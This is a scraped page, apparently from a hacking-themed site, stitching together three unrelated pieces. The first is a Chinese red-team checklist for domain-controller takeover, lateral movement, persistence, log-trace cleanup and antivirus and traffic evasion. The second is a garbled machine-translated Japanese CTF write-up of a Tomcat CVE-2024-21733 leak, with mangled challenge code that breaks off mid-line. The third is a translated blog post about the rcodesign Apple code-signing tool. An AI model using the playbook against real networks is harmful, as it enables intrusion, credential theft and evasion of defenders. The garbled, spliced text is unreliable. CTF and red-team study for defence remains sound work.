获取当前域内策略 [ 主要是为了了解密码策略 ]
获取当前域林
.......

  • 快速获取目标域控权限的一些常规手法
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解("尤其是域管用户的") [ kerberoast ]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实在实战中其实用的并不多 ]

  • 域内后渗透敏感信息搜集分析
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service

  • 域内指定用户登录ip定位
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [ Silver Ticket ]
除此之外,就是下面的各类常规横向手法

  • 域内指定用户机器定向控制技巧
绑定用户登录脚本
利用GPO下发 [实际上,利用GPO能做的事情还非常非常多]
PTT [ 票据传递 ]

  • 针对域管的各种权限维持技巧
金票
Skeleton Key
DSRM密码同步
OWA后门
...

  • 域内Exchange 邮件数据脱取
利用Ews接口通过PTH的方式脱邮件

0x10 内网安全 [ 跨平台横向渗透 (远程执行)，防御重点 ( "重中之重" ) ]
  • 从 Windows平台 横向至 Windows平台
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本Windows 的WinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行

  • 从 Windows平台 横向至 *inux平台
基于Windows SSH库自行开发各种远程执行小工具

windows10自带的openssh直接命令远程连接:
ssh  root@192.168.3.124
scp -rp  I:\test  root@192.168.3.124:/opt(上传文件件及其内容）
scp   I:\test\test.txt  root@192.168.3.124:/opt  (上传文件内容）
scp   root@192.168.3.124:/opt/test/2.txt   I:\test (下载文件）
  • 从 *inux平台 横向至 Windows 平台
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64
参考工具：
https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 
另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行

  • 从 *inux平台 横向至 *inux 平台
linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行

  • 各种远程下载技巧
wget [ win & linux ]
curl [ win & linux ]

之所以没着重提以下这些系统内置的远程下载执行工具,主要还是因为事先已经明确知道
某些杀软环境下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对红队这种场景,这些东西根本不在乎多,有一个能用好用的即可
CertUtil.exe
Bitsadmin.exe
Regsvr32.exe
Rundll32.exe
Powershell.exe
......
0x11 内网安全 [ 权限维持，防御重点 ] [ 注: 有些细节此处并未展开详细说明 ]
  • 边界入口权限维持
OWA 登录口 [ 账号密码,webshell ]
VPN 登录口 [ 账号密码,shell ]
其他 MAIL 登录口 [ 账号密码 ]
边界 Web服务器 [ Webshell 驻留技巧 ]
边界路由交换设备 [ 账号密码,shell ]
...

  • Windows 单机系统维持 [临时]
系统计划任务 [ 高权限/低权限 ]
常规注册表自启动项 [ 用户权限/system权限 ]
Mssql存储过程 [ 继承服务权限 ]
WMI
Winlogon
CLR
Logon Scripts
MruPidlList
Mof
传统远控
...

  • linux 单机系统维持 [临时]
Patch SSH
替换各类基础服务so [ PAM,Nginx,Rsync ...] 
系统计划任务
传统应用层远控
驱动层远控( 针对特定内核版本 )

0x12 痕迹处理
web日志 [ 访问, 错误日志 ]
数据库日志 [ 异常连接日志,慢查询日志 ]
系统各类安全日志 [ ssh,rdp,smb,wmi,powershell....]
各类邮箱登录日志
域内敏感攻击利用日志 [ 金票,银票... ]
此项为专业蓝队范畴,不再赘述
......

0x13 各类常用 C2 / 渗透 框架
CobaltStrike [二次开发]
  payload(beacon) 逆向/改进重写
Metasploit [二次开发]
......

0x14 各类常用 Webshell管理工具
菜刀	caidao20160622
冰蟹	Behinder_v2.0.1
蚁剑	AntSword
......

0x15 免杀 及 各类防火墙对抗
  • 静态
混淆:
手工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等....
工具混淆,针对各种语言的专业混淆工具 [ 有商业版 ]
...

加壳:
一些常用公开壳的实际效果可能并不是太好 [ 也有商业壳 ]
最好的方式还是尝试自己写壳,就是成本较高
...

  • 动态
反射
shellcode 内存加解密执行 ( 对于现在的某些杀软来讲,可能并没什么卵用,别人拦的基本都是你的最终调用 )
白利用
......

注:
   理论上, 这些应该也没有什么非常通用的方法
   大多还是事先针对特定的杀软针对性的不停调试分析出它到底怎么拦,怎么查的,然后再针对性的对症下药

  • 流量:
域前置[利用大厂cdn]
工具参考：
https://tengxiaofei.run/2020/06/22/%E6%B5%81%E9%87%8F%E7%BB%95%E8%BF%87-cobaltstrike%E5%9F%9F%E5%89%8D%E7%BD%AE%E9%9A%90%E8%97%8F%E7%9C%9F%E5%AE%9EIP%E5%92%8C%E6%81%B6%E6%84%8F%E5%9F%9F%E5%90%8D/
https://evi1cg.me/archives/AMSI_bypass.html
https://www.anquanke.com/post/id/195011#h2-1
https://www.moonsec.com/archives/2928
https://zhuanlan.zhihu.com/p/364877190
https://syst1m.com/post/domain-fronting/
https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142
https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/
https://www.xorrior.com/Empire-Domain-Fronting/
https://www.cyberark.com/resources/threat-research-blog/red-team-insights-on-https-domain-fronting-google-hosts-using-cobalt-strike
https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6
https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3
https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/
https://github.com/MindPointGroup/cloudfrunt
https://www.secpulse.com/archives/142017.html
https://www.chabug.org/web/1373.html
DNS加密隧道
参考工具：
https://www.cnblogs.com/beautiful-code/p/13725355.html#cs%E4%BD%BF%E7%94%A8dns%E9%9A%A7%E9%81%93%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5
https://www.freebuf.com/articles/network/208242.html
https://www.freebuf.com/articles/web/256032.html
https://www.cocosec.com/archives/262.html
http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/
https://www.freebuf.com/articles/network/244094.html
https://www.freebuf.com/articles/network/214923.html
https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/
https://xz.aliyun.com/t/6966#toc-17
https://downloads.skullsecurity.org/dnscat2/
https://apt404.github.io/2017/12/29/cobalt-strike-dns/
https://www.anquanke.com/post/id/99408
第三方公共邮箱上线
第三方网盘上线
第三方社交网站上线
第三方匿名社交工具上线[eg: tg机器人,tor...]


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 web 



 passwdstealer 


序文



元々はpasswdstealerです:)



テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。



脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0



二度と繰り返しません。



スプリングブートシナリオでの使用



以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています



タイムアウトエラーをトリガーします。これにより、Reset（）がサーバー（）のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。



テスト環境：Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。



 
 step1トリガータイムアウト



目的は、read（）を投げるioexception 21pvd0dyvaw554.pngを作成することです



リセット（）をスキップして、制限の不整列を引き起こします。



上記の分析でPOCを使用するには、CLが実際の値iuzfgd4flc1555.pngを超えるCLを使用したパッケージを投稿します



AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。



ここでは、投稿データを処理できるリクエストを見つける必要があります。



ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。



 1fjnvy0dzwr556.png



タイムアウトタイムアウトは正常にトリガーされました



 
 step2はループ
に入ります


次に、リクエストがタイムアウト後にhttp11processor.java＃service（）のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件nujy1x41bgb557.pngを満たしていないことがわかりました



KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。



 e4nvvapkwfa558.png e51rqcit0cp559.png



StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます



バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。



 qtvqackm4md560.png



追いかけて、それをトリガーしたのはservletexceptionであることがわかりますmi1qiewjnz0561.png



フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception tsgqajcwmlt562.pngとしてパッケージ化されたことを見つけます



ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。ymdcx1kuod4563.png



この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata（）をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。



最初に通常のマルチパートパッケージを使用してテストします。



ここにいくつかの境界基準があります



boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。



次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します（2つの最初の - ）



----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します（2つは前後に追加されます - ）



ここでは、頭と尾fclxhuh5frc564.pngを備えたマルチパートアップロードパッケージを構築します



彼はreadbounddary（）に足を踏み入れることができることがわかりました



 btobsim4nai565.png



readbounddary（）をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte（）;最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。4k5kzzlg54v567.png



しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか？3p5fj5k4qz0568.png



パケットは続き続け、readbyte（）がデータを読み取ることができない場合（送信しなかったため）、最終的にfill（）を呼び出し、fillにioexception（step1の位置）を引き起こすことがわかります。



 sl5ozee0mxa569.png



現時点では、readbyte（）はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。



この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。



} catch（最終的なMalformedstreamexception e）{



 falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。2sriipmg5zp570.png



 
 step3漏れecho 



この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト



 xpmjia2dou4571.png



 end utilization 



ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。



まず、敏感な情報を内部に含むリクエスト（このリクエスト中に被害者が送信したと仮定して）を送信します。この時点で、入力バッファはこのように見えます。wcnxzmgjor0572.png



攻撃者はリクエストを送信し、通常42rz1guccdi573.pngを返します



この時点で、入力バッファ内の状況はこのようになりました。qjc5yg0r5ub574.png



最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージ13pcgtfwo55575.pngを送信することです



この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。



 fdqlceg4nyr576.png



最後に、フラグはトレースのエコーによって得られます。



 tm2cidr02c2577.png



ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。



 ezql 


パッケージorg.example;



com.ql.util.express.defaultContextをインポートします。



com.ql.util.express.expressrunnerをインポートします。



com.ql.util.express.config.qleexpressruntrategyをインポートします。



com.sun.net.httpserver.httpserverをインポートします。



com.sun.net.httpserver.httphandlerをインポートします。



com.sun.net.httpserver.httpexchangeをインポートします。



sun.misc.base64decoderをインポートします。



java.io.ioexceptionをインポートします。



java.io.inputStreamをインポートします。



java.io.outputStreamをインポートします。



java.net.inetsocketAddressをインポートします。



java.nio.charset.standardcharsetsをインポートします。



java.util.base64をインポートします。



java.util.hashsetをインポートします。



java.util.listをインポートします。



java.util.setをインポートします。



パブリッククラスメイン{



 public static void main（string [] args）throws ioexception {



 int port=integer.parseint（system.getenv（）。getordefault（ 'port'、 '8000'））;



 httpserver server=httpserver.create（new inetsocketAddress（port）、0）;



 server.createcontext（ '/'、new httphandler（）{



 @オーバーライド



 public voidハンドル（httpexchange req）がioexceptionをスローします{



 int code=200;



 文字列応答;



 string path=req.getRequesturi（）。getPath（）;



 if（ '/ql'.equals(path））{



 試す {



 文字列式=getRequestBody（req）;



 Express=new String（base64.getDecoder（）。decode（express））;



 ExpressRunner Runner=new ExpressRunner（）;



 qleexpressrunstrategy.setforbidinovokesecurityRiskMethods（true）;



 SetString secureMethods=new Hashset（）;



 securemethods.add（ 'java.lang.integer.valueof'）;



 qleexpressrunstrategy.setsecuremethods（securemethods）;



 DefaultContextString、Object Context=new DefaultContext（）;



 応答='0';



 試す {



 Response=string.valueof（runner.execute（express、context、（list）null、false、false））;



 } catch（例外e）{



 System.out.println（e）;



 }



//string param=req.getRequesturi（）。getQuery（）;



//response=new initialContext（）。lookup（param）.toString（）;



 } catch（例外e）{



 e.printstacktrace（）;



 Response=':（';



 }



 } それ以外{



 コード=404;



 応答='見つかりません';



 }



 req.sendresponseheaders（code、response.length（））;



 outputStream os=req.getResponseBody（）;



 os.write（respons.getBytes（））;



 os.close（）;



 }



 }）;



 server.start（）;



System.out.printf（ ':％d％n'、portで聞くサーバー）;



 }



 private static string getRequestBody（httpexchange Exchange）はioExceptionをスローします{



 inputStream is=exchange.getRequestBody（）;



 byte [] buffer=new byte [1024];



 int bytesRead;



 stringbuilder body=new StringBuilder（）;



 while（（bytesread=is.read（buffer））！=-1）{



 body.append（new String（Buffer、0、BytesRead、StandardCharsets.utf_8））;



 }



 return body.toString（）;



 }



}



単純なQL式



解決策1 



ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。



2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。



TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます



com.sun.rowset.idbcrowsetimplをインポートします。



jdbc=new jdbcrowsetimpl（）;



JDBC.DATASOURCENAME='


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
蘋果系統運行著一些現有的最大和最賺錢的軟件應用程序生態系統。理論上，要進入這些生態系統，傳統上需要使用macOS，並加入蘋果開發者計劃(Apple Developer Program)。



如果你想為Apple 操作系統開發應用程序，你可能會使用Apple 的操作系統和Apple 的官方工具進行開發和分發。但對於開源開發人員通常希望以最小的努力分發跨平台應用程序。在整個編程語言生態系統中，你運行的操作系統被抽象為許多應用程序的實現細節。通過創建macOS、iOS 等開發需要直接訪問macOS 和通常高於市場價格的Apple 硬件的要求，蘋果軟件生態系統強加的分發要求是有效的排他性，並阻止利益相關方對進入其生態系統。



在蘋果平台上發佈軟件的一個問題是代碼簽署和公證，即你需要：



1.在應用程序中嵌入加密簽名，有效地證明來自Apple Developer Program 關聯帳戶的真實性。 （這是簽名。）



2.將你的應用程序上傳到Apple，以便他們對其進行檢查，驗證它符合要求，可能還會存儲一個副本。然後，蘋果會發布自己的加密簽名，即公證書，然後需要將其嵌入到正在分發的應用程序上，這樣蘋果的操作系統才能信任它。 (這是公證。)



從歷史上看，這些步驟需要Apple 專有軟件專門從macOS 運行。這意味著，即使你在Rust、Go 等軟件生態系統或Web 平台中，你可以在不直接訪問macOS 的情況下交叉編譯應用程序（測試顯然是另一回事），如果你願意，你仍然需要macOS簽署和公證你的申請。由於默認的安全設置，在macOS上需要有效的簽名和公證。在iOS 等移動平台上，除非你運行的是越獄設備，否則不可能發布未經簽名和公證的應用程序。



如果我不需要macOS來構建我的應用程序，為什麼我要被迫把蘋果設備作為我的軟件發布過程的一部分？為什麼在發布的時候，我必須簽署和公證我的申請，它不能更簡化嗎？



如果能重新實現Apple 代碼簽名，以便開發人員有更多的靈活性和機會將應用程序分發到Apple 的生態系統。其最終目標是擴大Apple 生態系統對更多開發者的訪問。



首先，得益於rcodesign 0.14.0的發布。這是我第一次發布rcodesign 的預構建二進製文件（Linux、Windows 和macOS）。



macOS rcodesign 可執行文件是自簽名的，它由GitHub Actions Linux 運行程序使用YubiKey 獨有的代碼簽名證書進行簽名。



2021年，apple-codesign 項目/Rust crate 發生了很大變化！只需查看更改日誌！



這個項目從tugger-apple-codesign改名而來。



如果你是通過cargo install 安裝的，你需要cargo install --force apple-codesign 來強制Cargo 用另一個crate 中的一個來覆蓋rcodesign 可執行文件。



rcodesign CLI可執行文件仍然存在，而且比以往任何時候都更強大。你仍然可以在Linux、Windows、macOS和任何其他平台上對Apple應用程序進行簽名，你可以在這些平台上編譯Rust程序。



Sphinx 文檔請點擊這裡，這與PyOxidizer 的文檔一起發佈在readthedocs.io 上（因為我使用的是monorepo）。那裡有一些通用文檔，例如有關如何通過將你自己的替代代碼簽名PKI 部署到並行Apple 來選擇性地繞過Gatekeeper 的指南。



支持簽名包、DMG 和.pkg 安裝程序當我去年宣布這個項目時，只有Mach-O 二進製文件和非常簡單的.app 包是可簽名的。即便如此，也有很多微妙的問題。



Rcodesign sign現在可以對更複雜的包進行簽名，包括許多嵌套的包。有報導稱iOS應用包簽名正確。



該工具還支持簽名.dmg磁盤映像文件和.pkg扁平封裝包安裝程序。



已知的簽名限制現在記錄在Sphinx 文檔中。



我相信rcodesign 現在支持對用於Apple 軟件分發的所有主要文件格式進行簽名。



支持Linux、Windows 和macOS 上的公證



蘋果發布了一個名為Transporter的Java工具，可以讓你上傳文物到蘋果進行公證。它們使這個工具可用於Linux、Windows，當然還有macOS。



雖然這個工具不是開源的，但使用這個工具可以讓你在Linux 和Windows 上進行公證，同時仍然使用Apple 的官方工具與他們的服務器通信。



rcodesign 現在支持調用Transporter 並將工件上傳到Apple 進行公證。我們現在支持公證包、dmg 磁盤映像和.pkg 扁平封裝安裝程序包。我已經成功地從Linux 公證了所有這些應用程序類型。



由於支持對所有應用程序類型進行簽名和公證，現在可以在沒有macOS 參與發布過程的情況下發布Apple 軟件。



YubiKey 集成我嘗試盡可能多地使用我的YubiKey，因為存儲在YubiKey 上的密鑰或私鑰可能比位於某個文件系統上的密鑰或私鑰更安全。如果你破解了我的設備，你很可能會獲得我的私鑰。但是你需要物理訪問我的YubiKey 並強迫或強迫我解鎖它，以獲得訪問其私鑰的權限。



rcodesign 現在支持使用YubiKeys 進行簽名操作。



這確實需要默認的智能卡Cargo 功能。因此，如果手動構建，你將需要例如cargo install --features smartcard apple-codesign.



YubiKey 集成來自yubikey 。這個crate 將直接與macOS 和Windows 中內置的智能卡API 對話。所以如果你有一個啟用了YubiKey 支持的rcodesign 構建，YubiKeys 應該可以工作。通過插入YubiKey 並運行rcodesign smartcard-scan 進行嘗試。



YubiKey 集成文檔可以點此查看。



我甚至實現了一些命令來輕鬆管理YubiKey 上的代碼簽名證書。例如，你可以直接在設備上運行rcodesign smartcard-generate-key --smartcard-slot 9c 以生成新的私鑰，然後rcodesign generate-certificate-signing-request --smartcard-slot 9c --csr-pem-path csr.pem將該證書導出到證書籤名請求(CSR)，你可以在developer.apple.com 上交換Applie 頒發的簽名證書。這意味著你可以輕鬆創建其私鑰直接在硬件設備上生成且永遠無法導出的代碼簽名證書。以這種方式生成密鑰比將密鑰存儲在軟件庫(比如蘋果的Keychains)中更安全。



遠程代碼簽名我最感興趣的功能是我稱之為遠程代碼簽名的功能。



我在GitHub託管的Linux GitHub Actions運行程序上簽署了一個macOS通用Mach-O可執行文件，使用的YubiKey物理連接到我桌子旁邊的Windows 11設備上。未在計算機之間複製簽名的應用程序。



我有一個調用rcodesign sign --remote-signer 的GitHub Actions 工作流程。我手動觸發了該工作流程，並開始使用瀏覽器觀察近乎實時的作業輸出。 rcodesign sign --remote-signer 打印出一些指令（包括一堵base64 編碼數據的牆）以指示下一步該做什麼。重要的是，它要求其他人運行rcodesign remote-sign 以繼續簽名過程。



該日誌向我們展示了使用YubiKey 進行連接和身份驗證，以及一些關於與遠程服務器對話的狀態更新。



遠程簽名使我能夠從GitHub 運營的GitHub Actions 運行程序簽署macOS 應用程序，同時使用安全存儲在我的YubiKey 上的代碼簽名證書，該證書插入到距GitHub Actions 運行程序數百公里的Windows 設備上。



這裡發生的是2 個rcodesign 進程通過中央中繼服務器橋接的websocket 相互通信。我免費操作一個默認服務器。服務器是開源的，如果你想運行你自己的服務器，你可以使用terrform模塊，希望只需要花幾分鐘時間。當啟動設備希望創建簽名時，它向請求加密簽名的簽名者發送一條消息。然後將簽名發送回發起者，發起者將其合併。



我設計這個特性時考慮到了CI系統的自動發布(比如GitHub Actions)。我想要一種方法，可以簡化應用程序的代碼簽名和發布過程，而不必給CI中的低信任設備無限訪問我的私人簽名密鑰的權限。這可能在許多其他場景中都是有用的。你是否曾經因為沒有蘋果發行的代碼簽名證書而通過電子郵件或下拉框將應用程序發送給別人簽名？現在你有了一個不需要復製文件的替代解決方案。只要你可以看到啟動設備的日誌輸出，或者將輸出傳遞給你（例如通過聊天應用程序或電子郵件），你就可以在另一台設備上遠程簽署文件！



關於遠程簽名安全性Websockets 通過由第三方操作的中央服務器？授予遠程設備訪問權限以對任意內容執行代碼簽名？你的恐懼和懷疑是100% 有道理的：我也會這麼想！



促進遠程代碼簽名的服務會成為一個非常有利可圖的攻擊目標，如果被濫用，它可能被用來強制使用有效的代碼簽名證書的各方簽署不想要的代碼，如惡意軟件。實現這樣的功能有很多很多很多錯誤的方法。



遠程代碼簽名設計和安全注意事項包含了我的一些高級設計目標和安全評估。遠程代碼簽名協議詳細介紹了通信協議，包括所涉及的加密(實際的加密，而不是流行的加密)。關鍵在於協議和服務器的設計使惡意服務器或中間人無法偽造簽名請求。簽名會話在幾分鐘後過期，第三方或服務器無法注入會導致不需要簽名的惡意消息。通過初始握手獲得會話臨時共享加密密鑰，並從那裡使用對稱加密密鑰，因此對等方之間的所有有意義的消息都是端到端加密的。惡意服務器可以做的最糟糕的事情就是進行拒絕服務。



我相信我的遠程簽名實現比許多常見做法更安全，因為今天的常見做法需要復制私鑰並讓低信任度設備（如CI 工作人員）訪問私鑰或者文件在沒有加密監管鏈的情況下被複製以證明不會被篡改。是的，遠程簽名為遠程訪問引入了使用簽名密鑰的向量。但是按照我的意圖進行實踐，遠程簽名可以消除複製私鑰或授予對它們的無限訪問權限的需要。從威脅建模的角度來看，我認為密鑰訪問中的網絡限制使得遠程簽名比現在許多人使用的私鑰管理實踐更安全。



話雖如此，這裡的星號是我實現了我自己的密碼系統來實現端到端消息安全。如果在設計或實現中存在漏洞，密碼系統可能會崩潰，從而帶來對消息偽造的防禦。屆時，惡意服務器或特權網絡攻擊者可能會強迫某人簽署不需要的軟件。但這很可能是損害的程度：對簽名密鑰的脫機攻擊是不可能的，因為簽名需要存在，而且私鑰永遠不會通過網絡傳輸。即使沒有端到端加密，該系統也比將你的私有密鑰作為一個容易被竊取的CI秘密(或類似的)留在周圍更安全。



Apple 鑰匙串支持從0.14 版本開始，我們現在可以提前支持使用存儲在Apple 鑰匙串中的代碼簽名證書進行簽名！如果你在Keychain Access 或Xcode 中創建了Apple 代碼簽名證書，那麼這可能就是你的代碼簽名證書所在的位置。



我拖延了很長一段時間，因為我沒有意識到這有什麼好處：如果你使用macOS，只需使用蘋果的官方工具。但是隨著rcodesign獲得了對遠程代碼簽名的支持，以及其他一些功能，這些功能可以讓它成為所有平台上蘋果工具的有力替代品，我認為我們應該提供這個功能，這樣我們就不會再阻止人們從keychain導出私鑰了。



Apple 的代碼簽名很複雜。 蘋果的工具和rcodesign之間很容易出現細微差別。



rcodesign 現在有print-signature-info 和diff-signatures 命令來轉儲和比較與代碼簽名相關的YAML 元數據，以便更容易地比較代碼簽名實現甚至多個簽名操作之間的行為。